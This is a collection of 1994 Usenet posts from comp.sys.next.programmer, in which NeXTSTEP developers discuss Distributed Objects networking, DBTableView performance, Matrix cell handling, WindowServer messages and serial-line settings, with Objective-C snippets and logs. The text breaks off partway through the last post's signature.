connectToName: class method of NXConnection returns an NXProxy not an id. Therefore the compiler will complain at compile time when you try to coerce the NXProxy class to conform to <workerProtocol>. This must be done at run time via the setProtocolForProxy: instance method of NXProxy. It might be easier to follow the logic if you write the code in the following way: NXProxy *worker; worker = [NXConnection connectToName:"ServerExample"]; if (worker) [worker setProtocolForProxy:@protocol(workerProtocol)]; Written this way it is more obviously incorrect to declare: NXProxy <workerProtocol> *worker; I will try to play around with the timing issues you bring up later. Craig Rasmussen Turn of the Century Software NeXTStep Consultants specializing in client/server applications (313) 944-9101 rasmussn@jupiter.eecs.umich.edu
From: gary@cmn11.Stanford.EDU (Gary Scavone) Newsgroups: comp.sys.next.programmer Subject: Using DPSDoUserPath Date: 21 Feb 1994 19:15:29 GMT Organization: Stanford University Message-ID: <2kb18h$rui@nntp2.Stanford.EDU> I'm using the above function for drawing. It works for user path lengths of 8192, but when I jump to a length of 16384 I get undefined dps errors. Is there some upper limit on user path lengths or view lengths? --Gary Scavone
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: help on shareddict Date: 21 Feb 1994 19:41:06 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2kb2oi$5nr@rosie.next.com> References: <9402171726.AA01891@sparky.tds.com> In article <9402171726.AA01891@sparky.tds.com> Madeleine Bryan writes: > ... The application sets a window and gives it to the systems > so that it is permanently displayed even after logout. What the code > seems to be doing is relying on shareddict in the .psw to be able to > get the window id that was given to the systems. ... (I > know this app is tampering with un-doc-supported areas of NeXT > interface #@%$#%) ... In 3.1 and beyond you cannot write information into the shared dictionaries in the WindowServer and have it persist between users. This application can't rely on this method to save window numbers. > My other fix is having the app write the window ID out to /tmp for > recall...(since this permanent window setting app must work between > users) .. That might work better. Ali, Ali_Ozer@NeXT.com
Newsgroups: comp.sys.next.programmer From: roberto@SoftDesign.COM (Roberto Arrocha) Subject: Removing / restoring Matrix cells (2-dim Matrix) Message-ID: <CLLDGG.1I3@SoftDesign.COM> Keywords: NeXT AppKit Sender: roberto@SoftDesign.COM (Roberto Arrocha) Organization: SoftDesign, Inc. Date: Mon, 21 Feb 1994 20:41:04 GMT I have a 2-dimensional Matrix from which I would like to programmantically remove (not delete/free) single cells and later restore them. Here is what I do. Suppose I want to remove aCell from w/in a subclass of Matrix: /* remove aCell from cellList and store it, for later use, in another list (called dList) */ [dList addObject:[cellList removeObject:aCell]]; /* let Matrix know what we've done */ [[[self resetRowsAndCols] sizeToCells] display]; ..where resetRowsAndCols tries to account for the remaining rows and cols. Question: Is there sample code that tackles the problem of removing / restoring cells from / to a 2-dimensional Matrix? Does anybody see any problems with removing/restoring cells from Matrix's cellList? Any suggestions for things to look out for? Thanks. Roberto P.S.: I've look at the MiniExample CellScrollView, but it only deals with the simple case of 1-dimensional Matrices, ..overlooking the heart of my question. Furthermore, since these are uncomplicated cells, this example can afford to re-load each cell (loadCellsFrom:) each time a cell is removed/restored. I can hardly afford the performance hit this would entail. -- Roberto SoftDesign, Inc.
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Slow DBTableView Date: 21 Feb 1994 16:32:02 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2kanm2$b9d@gpo.gb.swissbank.com> There is definitely something wierd about DBTableView (3.2, don't know about earlier versions). I knocked up a simple test program that just displays about 8 columns by 30 (out of 1000) rows. Window takes up two-thirds of the screen. Non-editable, so it uses the DBTextFormatter. No subclasses, nothing special. Then I time it by typing in a load of alt-clicks on the scroll button. It takes nearly a second for each page to be drawn. A SECOND! Wow, that's a LOT of computer time. If I run it under gdb and interrupt it frequently, it's nearly always here: [...] #4 0x60285d6 in NXPing () [...] #9 0x6067284 in -[Scroller mouseDown:] () [...] #12 0x602ffd2 in -[Application run] () and that fits in with the results from ps showing the window server chomping up most of the time. I've looked at the generated postscript, and it uses one big xyshow to do most of the work. (Remember that DBTextFormatter actually has this special batching code in there to minimize writes to the window server.) Watching it scroll with window buffering turned off is fun - you can see it writing from left to right painfully slowly. So what's happening? To compare, I created a window with just a ScrollView/Text view in it and filled it with Window.rtf. Now despite the fact that this uses the notoriously slow Text object, it's much much quicker than the same size DBTableView. It's all very odd. I wonder if DBTableView is doing an "expensive" postscript operation of some kind? Dave Griffiths
From: eric@skatter.usask.ca Newsgroups: comp.sys.next.programmer Subject: Six TCP packets per distributed object message! Date: 21 Feb 1994 21:52:10 GMT Organization: University of Saskatchewan Distribution: world Message-ID: <2kbaea$f6g@tribune.usask.ca> References: <2kb0rv$1j3@zip.eecs.umich.edu> In a previous article I mentioned that I was having trouble making setProtocolForProxy work. I have done a little more testing and would like to report my results. First, a summary of the test conditions. I have set up a protocol to a remote object that consists of a single method: ============================ WorkerProtocol.h ============================== @protocol workerProtocol - (int)getIntegerReturnValueFor:(int)anInt; @end I have a server vending these objects on one machine (hostname merak) and a client on another machine (hostname pisces). I ran `etherfind' on a SUN machine on our network and had it log all packets flowing between merak and pisces. What I found was not pretty....... Each time the client process does a ret = [worker getIntegerReturnValueFor:i]; I see six (yes, SIX!) TCP packets on the ethernet! ============================================================================ lnth proto source destination src port dst port 234 tcp pisces merak 2608 2453 74 tcp merak pisces 2453 2608 198 tcp merak pisces 2621 2453 74 tcp pisces merak 2453 2621 60 tcp merak pisces 2621 2453 60 tcp pisces merak 2608 2453 ============================================================================ I see the same six packets for each transaction regardless of whether or not I do a [(NXProxy *)worker setProtocolForProxy:@protocol(workerProtocol)]; Any ideas as to what is going wrong? A factor of 3 increase in speed (from 6 packets to 2) would make a huge difference in my proposed application's response. Here are some snippets from the client (hostname pisces) code ============================ Controller.m =================================== id server; id <workerProtocol> worker; . . server = [NXConnection connectToName:"ServerExample" onHost:hostName]; worker = [server getWorkerObject]; if ([sender tag]) [(NXProxy *)worker setProtocolForProxy:@protocol(workerProtocol)]; . . for (i = 0 ; i < loopcount ; i++) ret = [worker getIntegerReturnValueFor:i]; The server machine (hostname merak) runs the following: ============================== server.m ===================================== #import <appkit/appkit.h> #import "Server.h" int main (int argc, char **argv) { [[NXConnection registerRoot:[[Server alloc] init] withName:"ServerExample"] run]; return 0; } ============================== Server.h ===================================== #import <appkit/appkit.h> @interface Server:Object struct ServerTimes { struct timeval server_utime; struct timeval server_stime; }; - (void)getServerTimes:(struct ServerTimes *)tbuf; - getWorkerObject; @end ============================== Server.m ===================================== #import "Server.h" #import "Worker.h" @implementation Server - (void)getServerTimes:(struct ServerTimes *)tbuf { struct rusage rusage; getrusage (RUSAGE_SELF, &rusage); tbuf->server_utime = rusage.ru_utime; tbuf->server_stime = rusage.ru_stime; } - getWorkerObject { return [[Worker alloc] init]; } @end ============================== Worker.h ===================================== #import <appkit/appkit.h> #import "WorkerProtocol.h" @interface Worker:Object <workerProtocol> @end ============================== Worker.m ===================================== #import "Worker.h" @implementation Worker - (int)getIntegerReturnValueFor:(int)anInt { return anInt * 2; } @end ============================================================================== -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
From: me@nextix.muc.de (Tobias Hoellrich) Newsgroups: comp.sys.next.programmer Subject: Re: Detection of Connection break in Distributed Ojects Date: 21 Feb 1994 23:23:04 GMT Organization: MUC.DE - Individual Network (IN) Domain Munich Message-ID: <ME.94Feb22002304@nextix.muc.de> References: <1994Feb21.170913.17456@xexos.com> In-reply-to: eddie@xexos.com's message of Mon, 21 Feb 1994 17:09:13 GMT In article <1994Feb21.170913.17456@xexos.com> eddie@xexos.com (Eddie Chan) writes: > I am currently writing a server process which can accept > multiple clients using NXConnection. I need the server to be able to > detect if a client died and determin which client in order to log > and tidy up. Check [... registerForInvalidationNotification: ...] and the [... sendIsInvalid:...] methods. They tell you, when a client somehow got lost ! Hope this helps Tobias -- Tobias Hoellrich, Schiesstaettstr. 26,80339 Muenchen, Tel: +49-89-502 90 88 NeXTMail: tobias@nextix.muc.de EMail: med@d012s648.zfe.siemens.de, tobias@cat-ufg.de
From: bali@leland.Stanford.EDU (Valentina Andrea Bali) Newsgroups: comp.sys.next.programmer Subject: OPN Question: ObjectWare Licensing Date: 21 Feb 1994 23:46:16 GMT Organization: Stanford University, CA 94305, USA Message-ID: <2kbh48$1p2@nntp2.Stanford.EDU> OPN Question: ObjectWare Licensing The ObjectWare Professionals Network is in the process of putting together a set of guidelines and principles which should govern the licensing of ObjectWare. With this purpose in mind, we would like to ask the developer community to inform us of their war stories, both as purchasers and providers of ObjectWare. What clauses in the agreements are non-starters? What kinds of protection would you like to see as a purchaser? What ObjectWare vendors have policies you like? As an ObjectWare vendor, what kind of protections, technological or otherwise, do you use to avoid the illegal use of your components? As an ObjectWare consumer, what kinds of guarantees do you feel are adequate to the ObjectWare vendor? When submitting opinions, e-mail them to: opn-licensing@vega.stanford.edu and please state the role your organization plays in the ObjectWare universe in the form: Organization Name : Role1, Role2, .... as the first line in the message. This will allow us to group ideas according to your perspective. The possible roles are: ObjectWare Vendor Consultant Systems Integrator Corporate Developer Independent Software Vendor (Applications) System Software Vendor (NeXT?) and Other, of course. If your organization plays more than one role, please list them. Your submissions will serve to frame the discussions in OPN's licensing mailing list. - marcos j. polanco - shiva@vega.stanford.edu - 415-328-6826
From: sanguish@digifix.com (Scott Anguish) Newsgroups: comp.sys.next.programmer Subject: Populating a Matrix from a List being filled in a thread Date: 21 Feb 1994 18:59:58 -0500 Organization: Digital Fix Development Distribution: world Message-ID: <2kbhtu$eek@digifix.digifix.com> Hi All... OK, hopefully I can make this clear what I'm trying to do. I'm generating Lists.... each entry in the list contains information about one of the files in a directory. Some of these lists can take some time to generate, so I'm considering running each of them in a seperate thread. I actually already have that sort of working.... the problem is, when the user wants to inspect the contents of one of those lists, I have a Matrix that needs to be filled with information from the List.... which may or may not be full already....... I guess what I'm looking for is example code that shows a List being populated by a Thread, but still able to be interfaced safely with a Matrix.. ImagePortfolio does some of this, but I'm finding that do be difficult to sort though... Any help? Samples? -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) Newsgroups: comp.sys.next.programmer Subject: need example of NXImageRep & composite in ScrollView Date: 22 Feb 1994 00:02:55 GMT Organization: JPL Spacecraft Telecommunication Equipment Message-ID: <2kbi3f$f4@marsupial.jpl.nasa.gov> I'm looking for a *simple* example of how to read arbitrary bitmap formats and generate an image in a ScrollView that scrolls fast. I would expect this involves using NXImageRep, drawing in a non-displayed view (or window), and then compositing to a displayed view, based on the view rectangle generated by scrolls of the scroll view. Is there a simple example for lug-heads somewhere? I have 25k lines of Objective C and countless more of PostScript under my belt, but I've never worked with bitmapped images before, so I'm pretty clueless. If I'm right about the scroll view, I need a little clarification on clip and draw views and how they relate in an *efficient* scrolling scheme. What I've done before with pswrap images in ScrollViews seems very slow on the scroll, so I think I'm doing something dumb. I looked at the Draw.app example, and it's so huge that it's hard for me to decipher the kernel I'm looking for (which I suspect is pretty simple for someone who knows this stuff). Is there anything at the ftp sites or someone out there with a simple example I could learn from? Thanks in advance. I will post a brief pointer to answer(s). -John -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($DG;2!L;V]K:6YG M(&9O<B!A("IS:6UP;&4J(&5X86UP;&4@;V8@:&]W('1O(')E860@87)B:71R M87)Y7`IB:71M87`@9F]R;6%T<R!A;F0@9V5N97)A=&4@86X@:6UA9V4@:6X@ M82!38W)O;&Q6:65W('1H871<"G-C<F]L;',@9F%S="X@($D@=V]U;&0@97AP M96-T('1H:7,@:6YV;VQV97,@=7-I;F=<"DY826UA9V5297`L(&1R87=I;F<@ M:6X@82!N;VXM9&ES<&QA>65D('9I97<@*&]R('=I;F1O=RDL7`IA;F0@=&AE M;B!C;VUP;W-I=&EN9R!T;R!A(&1I<W!L87EE9"!V:65W+"!B87-E9"!O;B!T M:&5<"G9I97<@<F5C=&%N9VQE(&=E;F5R871E9"!B>2!S8W)O;&QS(&]F('1H M92!S8W)O;&P@=FEE=RY<"EP*27,@=&AE<F4@82!S:6UP;&4@97AA;7!L92!F M;W(@;'5G+6AE861S('-O;65W:&5R93]<"DD@:&%V92`R-6L@;&EN97,@;V8@ M3V)J96-T:79E($,@86YD(&-O=6YT;&5S<R!M;W)E(&]F7`I0;W-T4V-R:7!T M('5N9&5R(&UY(&)E;'0L(&)U="!))W9E(&YE=F5R('=O<FME9"!W:71H7`IB M:71M87!P960@:6UA9V5S(&)E9F]R92P@<V\@22=M('!R971T>2!C;'5E;&5S M<RY<"DEF($DG;2!R:6=H="!A8F]U="!T:&4@<V-R;VQL('9I97<L($D@;F5E M9"!A(&QI='1L95P*8VQA<FEF:6-A=&EO;B!O;B!C;&EP(&%N9"!D<F%W('9I M97=S(&%N9"!H;W<@=&AE>5P*<F5L871E(&EN(&%N("IE9F9I8VEE;G0J('-C M<F]L;&EN9R!S8VAE;64N("!7:&%T7`I))W9E(&1O;F4@8F5F;W)E('=I=&@@ M<'-W<F%P(&EM86=E<R!I;B!38W)O;&Q6:65W<UP*<V5E;7,@=F5R>2!S;&]W M(&]N('1H92!S8W)O;&PL('-O($D@=&AI;FL@22=M(&1O:6YG7`IS;VUE=&AI M;F<@9'5M8BY<"EP*22!L;V]K960@870@=&AE($1R87<N87!P(&5X86UP;&4L M(&%N9"!I="=S('-O(&AU9V4@=&AA=%P*:70G<R!H87)D(&9O<B!M92!T;R!D M96-I<&AE<B!T:&4@:V5R;F5L($DG;2!L;V]K:6YG(&9O<EP**'=H:6-H($D@ M<W5S<&5C="!I<R!P<F5T='D@<VEM<&QE(&9O<B!S;VUE;VYE('=H;R!K;F]W M<UP*=&AI<R!S='5F9BDN7`I<"DES('1H97)E(&%N>71H:6YG(&%T('1H92!F M='`@<VET97,@;W(@<V]M96]N92!O=70@=&AE<F4@=VET:%P*82!S:6UP;&4@ M97AA;7!L92!)(&-O=6QD(&QE87)N(&9R;VT_7`I<"E1H86YK<R!I;B!A9'9A M;F-E+B`@22!W:6QL('!O<W0@82!B<FEE9B!P;VEN=&5R('1O(&%N<W=E<BAS 0*2Y<"EP*+4IO:&Y<"@I]"G0@ `
Newsgroups: comp.sys.next.programmer From: jjfeiler@relief.com (John Jay Feiler) Subject: Re: Loop-back service for Webster? Message-ID: <CLK0Jq.7qs@relief.com> Sender: jjfeiler@relief.com (John Jay Feiler) Organization: Relief Consulting & Development References: <2k3l8c$pe@agate.berkeley.edu> Date: Mon, 21 Feb 1994 03:04:38 GMT In article <2k3l8c$pe@agate.berkeley.edu> izumi@pinoko.berkeley.edu (Izumi Ohzawa) writes: > In all apps, you can highlight a word and look up the definition > by Command-=, EXCEPT in Webster app itself. > Copy/pasting a word is painful (well, relatively speaking) to do > in Webster, especially because I don't have to do this if I am in > other apps. > > I know that this is a feature of services, so... > > Is it possible to create an intermediary or relay service that will > take Command-= from Webster, and pass it back on to Webster as if > the request comes from other application? > Can this be done via TickleServices? > This is unnecessary because Cmd-double-click does exactly what you want from within Websters. John > > -- > Izumi Ohzawa [ $@Bg_78^=;(J ] > USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 > Telephone: (510) 642-6440 Fax: (510) 642-3323 > Internet: izumi@pinoko.berkeley.edu (NeXTMail OK) -- John Feiler jjfeiler@relief.com Relief Consulting & Development (206) 743-3953 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-4433 Independent NeXTSTEP Developer --
From: 0005508785@mcimail.com (ErgoTech Development, Inc.) Newsgroups: comp.sys.next.programmer Subject: RE: Using the DBTableView for non-database apps Date: 21 Feb 1994 21:17:19 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <40940222020204/0005508785NA5EM@mcimail.com> (Alexander Lamb) says: >4. I have managed to create programmatically a DBTableView using column >headers AND line headers (spreadsheet like). But I didn't find the way to >change the font or size of the line titles or the line height. A mini >example on this point would be welcomed ! I've never looked at DBTableViews as a "static spreadsheet" (ie no calculations), but it is a good characterization. Is there anything out there that gives us this capability to display "flat file" type data, as opposed to a browser which displays hierarchical data. DBTableViews are handy objects. It is also poorly documented, and not very convenient for non-database data. Jim Redman
From: sj1@acpub.duke.edu (Stan Jirman) Newsgroups: comp.sys.next.programmer Subject: Help - Discarded WindowServer Events Date: 22 Feb 1994 05:32:40 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2kc5do$l3v@news.duke.edu> Hi, can someone tell me where these guys are coming from? Or even, what to look for to fix them? Feb 21 21:43:00 daneel WindowServer[235]: Event discarded: window 114: 5 @ (3.35544e+07,4.67975e-308), 1000. Feb 21 21:43:00 daneel WindowServer[235]: Event discarded: window 114: 5 @ (8.58993e+09,4.67976e-308), 1000. Feb 21 21:43:00 daneel WindowServer[235]: Event discarded: window 114: 5 @ (2.57698e+10,4.67976e-308), 1000. Feb 21 21:43:00 daneel WindowServer[235]: Event discarded: window 114: 5 @ (4.12316e+11,4.67976e-308), 1000. [and so on for several hundred lines] Thanx a lot, Stan -- ---------------------------------------------------------------------- "640K ought to be enough for anybody." -- Bill Gates '81 Stan Jirman sj1@acpub.duke.edu NeXTmail welcome sjirman@ee.duke.edu ----------------------------------------------------------------------
From: u9006869@athmail1.causeway.qub.ac.uk (Ren and Stimpy) Newsgroups: comp.sys.next.programmer Subject: Yet more help required - Bar Charts, etc. Date: 22 Feb 1994 04:20:52 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402221015.AA01552@titanic> Apologies for all these postings for things which seem really simple to do, but good ole QUB have set us a project on NeXTSTEP and the only help we've got are the I.B. examples! (Yup, not even a C or Objective-C course!!!). So, your help is greatly appreciated. Anyway, this time we need to know if anybody out there has asn object which can be used for drawing bar charts, pie charts, etc. etc. If it's NS2 compatible, that would be perfect, but even if it's NS3, I'm sure we can hack at the code to get it working somehow! Many thanks again, Darren Aitcheson (Queen's University of Belfast) ------------------------------------------------ (se01@elegabalus.cs.qub.ac.uk - NeXT Mail) (u9006869@athmail1.causeway.qub.ac.uk) "You stupid eeediot!" - Ren Hoek
Newsgroups: comp.sys.next.programmer From: lamb@eqt.ch (Alexander Lamb) Subject: Re: Using the DBTableView for non-database apps. Message-ID: <CLMHsw.KvK@eunet.ch> Sender: usenet@eunet.ch (News Administrator) Organization: EUnet Switzerland References: <CLGBxH.4A3@genoa.com> Date: Tue, 22 Feb 1994 11:12:31 GMT In article <CLGBxH.4A3@genoa.com> alex@cs.umd.edu (Alex Blakemore) writes: > Alexander Lamb writes > > we know of course that DBKit2 will be compatible with DBKit1 one > > really? > has there been any public announcement to this effect? > I wonder how you could really fix the flaws in DBKit1 > and maintain any backward compatibility. It wouldn't be easy. > > -- > Alex Blakemore > alex@cs.umd.edu NeXT mail accepted Well, of course I agree with you. What I really mean is that for high level stuff (in my case it was DBTableView) I *hope* it will be compatible. I pretty sure on the other hand that all the DBBinder or containers stuff will not be 100% compatible. Now, this is of course only speculations since we have no way of really knowing what's going on. My feeling is that they are going to go towards an object persistancy model versus an sql encapsulation as it is right now. Alexander Lamb Expert Quantitative Trading.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Project Builder ideas for later release. Date: 22 Feb 1994 12:23:06 -0000 Organization: me organized? That's a joke! Message-ID: <2kctfa$vg@steffi.demon.co.uk> Two things I want to see in Project Builder in a later release. (I've not seen 3.2 yet) 1. The ability to make subclasses without using IB's class browser. Has anybody written a class browser yet? It doesn't seem difficult to do. The only issue would be where to keep the information about currently available classes. Probably an IXKit project. In PB I should be able to create subclasses of existing (and my own additions) classes. Then, if I choose to I should be able to add these through a YES NO panel to IB. Currently I have to go into IB's class browser create my subclass unparse and then delete the class from IB if I don't require it. An obvious solution would be extend headerviewer to do this. HV already has a static class browser and it would be trivial to make these additions. The only difference is that HV sees things in separate heirarchies because it bases everything on a header file. ie. On a much larger scale. 2. Perhaps enompasing 1. But I want some kind of API in PB that allows me to extend on PB and have hooks from PB to IB. I think where we should be heading is an environment where _all_ the tools communicate with each other. This is partly the case now with PB,IB,Edit and GDB but it's _statically_ defined. ie. I cannot extend it myself. I think what's needed is a general framework that allows communication b/w applications. Can you say distributed objects? If such a cooperative environment existed, it would be relatively simple to plug and play with a nice little version control module that was completely aware of all document types in a project _and_ could , itself, be easily extended to support _new_ document types. So instead of replying to me let's discuss useful extensions to improve this environment. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: Help - Discarded WindowServer Events Message-ID: <CLMFn5.qG@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <2kc5do$l3v@news.duke.edu> Date: Tue, 22 Feb 1994 10:25:52 GMT In article <2kc5do$l3v@news.duke.edu> sj1@acpub.duke.edu (Stan Jirman) writes: > Hi, > > can someone tell me where these guys are coming from? Or even, what to > look for to fix them? > > Feb 21 21:43:00 daneel WindowServer[235]: Event discarded: window 114: 5 > > [etc] > While you inspect a program in gdb, the app does not take the events from the event machinery, since its stopped. After a short while the buffers of the event machinery fill up, and further events are discarded... Gerd
From: archer@cett.alcatel-alsthom.fr (Vincent Archer) Newsgroups: comp.windows.x,comp.sys.next.programmer Subject: NextStep .tiff to .xpm wanted Date: 22 Feb 1994 13:21:18 GMT Organization: Alcatel CIT Le Pecq, France Message-ID: <2kd0se$i0c@tardis.alcatel-alsthom.fr> I have a few tiff images from some of NextStep's application that I want to use as a base for some icons in one of my own application. I tar-ed these, untar-ed on my home workstation, but I'm stuck now: - I have no function to load one of these .tiff into the X11 server as a pixmap - XV support .tiff, but not the "two-channel images" that NextStep's icons seem to be. - My pbmplus doesn't seem to have a tiftoppm filter - I downloaded the latest xtiff (with libtiff) from ftp.x.org's contrib dir, and either get a b-w scrambled image, or a core dump (with the conversion tools of the libtiff too) So, I guess I can't use them... I'm searching for either: * A set of the NextStep standard application icons (window icons, and icons from the buttons of the application) in a well-known format: + .xpm + .ppm + .gif + .ras (Sun rasterfile) or any format that xv3.0 can load... or * A tool that can be used to convert from these nasty nextstep .tiff into one of the formats above. or * Pointers to a method to do the above. -- Vincent Archer Email: archer@cett.alcatel-alsthom.fr
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Yet more help required - Bar Charts, etc. Date: 22 Feb 1994 12:35:31 -0000 Organization: me organized? That's a joke! Message-ID: <2kcu6j$177@steffi.demon.co.uk> References: <9402221015.AA01552@titanic> u9006869@athmail1.causeway.qub.ac.uk (Ren and Stimpy) wrote in comp.sys.next.programmer >Apologies for all these postings for things which seem really >simple to do, but good ole QUB have set us a project on NeXTSTEP >and the only help we've got are the I.B. examples! (Yup, not even >a C or Objective-C course!!!). So, your help is greatly appreciated. > >Anyway, this time we need to know if anybody out there has asn object >which can be used for drawing bar charts, pie charts, etc. etc. >If it's NS2 compatible, that would be perfect, but even if it's NS3, >I'm sure we can hack at the code to get it working somehow! > >Many thanks again, > >Darren Aitcheson (Queen's University of Belfast) >------------------------------------------------ >(se01@elegabalus.cs.qub.ac.uk - NeXT Mail) >(u9006869@athmail1.causeway.qub.ac.uk) > >"You stupid eeediot!" - Ren Hoek > There's some Bar chart code in /NextDeveloper/Examples/DatabaseKit/BarChart (You really should have NS3.x) also, OTI will be happy to sell you their GraphPalette object. If you don't know C or Objective-C or even OOP, I'd be very cautious about undergoing any project. IMHO: It's not your instructors responsibility to teach you C or Objective-C. Does your school have a library? I suggest you go and read a C book, then come back to NS and read the following documentation. /NextLibrary/Documentation/NextDev/Concepts/Objective-C/* BTW: If your college is still using NS2.1 have somebody pull there finger out and install NS3.x -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: asb1002@cus.cam.ac.uk (A.S. Blewitt) Subject: Writing Browsers and Inspectors for NeXT applications Message-ID: <1994Feb22.144437.23256@infodev.cam.ac.uk> Keywords: inspector, browser Sender: news@infodev.cam.ac.uk (USENET news) Cc: Alex Blewitt <asb1002@hermes.cam.ac.uk> Organization: University of Cambridge, England Date: Tue, 22 Feb 1994 14:44:37 GMT I am trying to write an application under NeXTstep 3.1 at the moment, and I am trying to write a browser and an inspector for the package. In order to implement both of these I obviously need to have some controlling code somewhere to handle things like mouse clicks, editing information and the like. As they're an application-wide service, does it make sense to write the code for handling the mouse clicks et al in the Application code (I've subclassed the application from NXApp) or to make a separate 'Controller' object to talk to the widgets and other views that make up the Browser/Inspector and their associated functionality, and interface that into the application by means of messages to the controller object . . . A gut feeling tells me that OO-programming would suggest the need for a Controller of some sort; it's how I've been used to interfacing between objects before. But if I do, does it make sense to subclass Object, or would it be better that I subclass Window? If I subclass the Window, and have a 'Browsing' object, the code and interface in IB is very neat; but is this the proper way to approach the situation? The same question applies to the Inspector . . . Another question is how to write a selection-sensitive Inspector. I have the need to write an inspector that has four modes, much like Workspace and IB, eg "Contents","Connections","Attributes" and so on, which are all supposed to be selection-sensitive. What my gut feeling is to have an inspector window (probably as a subclass of window . . .) which handles the 'mode' and patching the views, and also probably the selection status as well. I have a sub-view of this Inspector; are their any standard coding practices to swap in/out views from this inspector based on mode and selection? Can anyone who has designed an application with either browsers or multiple-inspector (like Workspace, Interface Builder) and an idea of OO styles help me out? aTdHvAaNnKcSe, Alex Blewitt <asb1002@hermes.cam.ac.uk> Cambridge University, England ----- .Sig file currently under construction -----
From: ralf@reswi.en.open.de (Ralf E. Stranzenbach) Newsgroups: comp.sys.next.programmer Subject: Re: another DO question Date: 22 Feb 1994 06:14:55 GMT Organization: News Server fuer en.open.de Message-ID: <RALF.94Feb22071455@jodokus.en.open.de> References: <RALF.94Feb20233355@jodokus.en.open.de> In-reply-to: ralf@reswi.en.open.de's message of 20 Feb 1994 22:33:54 GMT >>>>> "Ralf" == Ralf E Stranzenbach <ralf@reswi.en.open.de> writes: In article <RALF.94Feb20233355@jodokus.en.open.de> ralf@reswi.en.open.de (Ralf E. Stranzenbach) writes: Hi, Ralf> I examined the server to get rid of memory leaks (because i Ralf> want to make my experiences BEFORE working on a real Ralf> project) and found that each time a new object (login) is Ralf> created, the server allocates some memory that is not Ralf> reclaimed when this object is freed. Ralf> Is there something i've missed doing in my "-free" method? Ralf> It's currently just a "return [super free]" cheapo. i found the problem, hurray! I forgot to call [NXConnection removeObject: self] in my "-free" method. Therefore the NXConnection class remembered my just-deleted-objects... A second reason was the call [server freeProxy] instead of [server free] in the clients code. - ralf -- Ralf E.Stranzenbach - (NeXT)-Mail: ralf@reswi.en.open.de Fido: Ralf_Stranzenbach 2:245/5800.12 (Voice)-Phone: +49 2302 / 68403 -- Nullum est magnum ingenium sine mixtura dementioe.
Newsgroups: comp.sys.next.programmer From: woo@ornl.gov (John W. Wooten) Subject: Getting strange messages from Build in 3.2 Message-ID: <1994Feb22.185101.24083@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory Date: Tue, 22 Feb 1994 18:51:01 GMT I just installed 3.2 Developer and rebuilt a working application. Some things changed a bit strangely, but were pretty simple to fix. The application works fine, but I get the following messages on the console: Feb 22 12:54:06 woonext InterfaceBuilder[2023]: objc: class `StereoController' not linked into application Feb 22 12:54:06 woonext InterfaceBuilder[2023]: Unknown class StereoController in Interface Builder file, Feb 22 12:54:06 woonext InterfaceBuilder[2023]: objc: class `JoyStick' not linked into application Feb 22 12:54:06 woonext InterfaceBuilder[2023]: Unknown View class JoyStick in Interface Builder file, Feb 22 12:54:06 woonext InterfaceBuilder[2023]: objc: class `StereoView' not linked into application Feb 22 12:54:06 woonext InterfaceBuilder[2023]: Unknown View class StereoView in Interface Builder file, The Classes mentioned are in the classes "suitcase", in the files listing, and when clicked on in the IB, they always show up in the inspector with the proper class name on them. What does it mean not linked into application? - - - - - - - - - J. W. Wooten
Newsgroups: comp.sys.next.programmer From: richardm@cd.com (Richard Masoner) Subject: Re: Serial line: 8bit + parity on black hardware Message-ID: <CLn51L.CBA@cd.com> Organization: Central Data Corp., Champaign, IL References: <9402181827.AA26462@enet-gw.pa.dec.com> Date: Tue, 22 Feb 1994 19:34:33 GMT Monty Brandenberg writes: >I need to set up a serial line on black hardware as 8-bits of data >plus real parity (odd in this case) and all man pages suggest that >it won't happen. My experiments with Next's tty layer suggest the same. I write drivers for my employer's serial port hardware, and a recent support issue was a customer who needed exactly what you need (i.e. 8 data bits, odd parity). The current release of *our* driver will support this, but we had to take some creative liberty in some of the flag definitions, thus it is a somewhat proprietary scheme. Hint: don't use the POSIX compatible ioctls (TIOCSETA, etc). They don't always seem to do what you want them to do. DISCLAIMER: These experiments were done with Next 3.0 and 3.1. 3.2 may have fixed some of these issues. If 8-Odd-1 is something you *really* need, Central Data does sell serial port hardware. I'll spare you the marketing hype, but this stuff is really pretty neat, with solutions starting at $295 for a box with 2 serial ports + 1 parallel port, to hardware with 32 serial ports. These are "intelligent" serial ports, with support up to 115K baud (even on Next). Drivers are available for both black box and white Next, as well as several other OS'es. Send mail to info@cd.com for the more info. _A bientot_. -- Richard F. Masoner Central Data Corporation 1602 Newton Dr., Champaign, IL 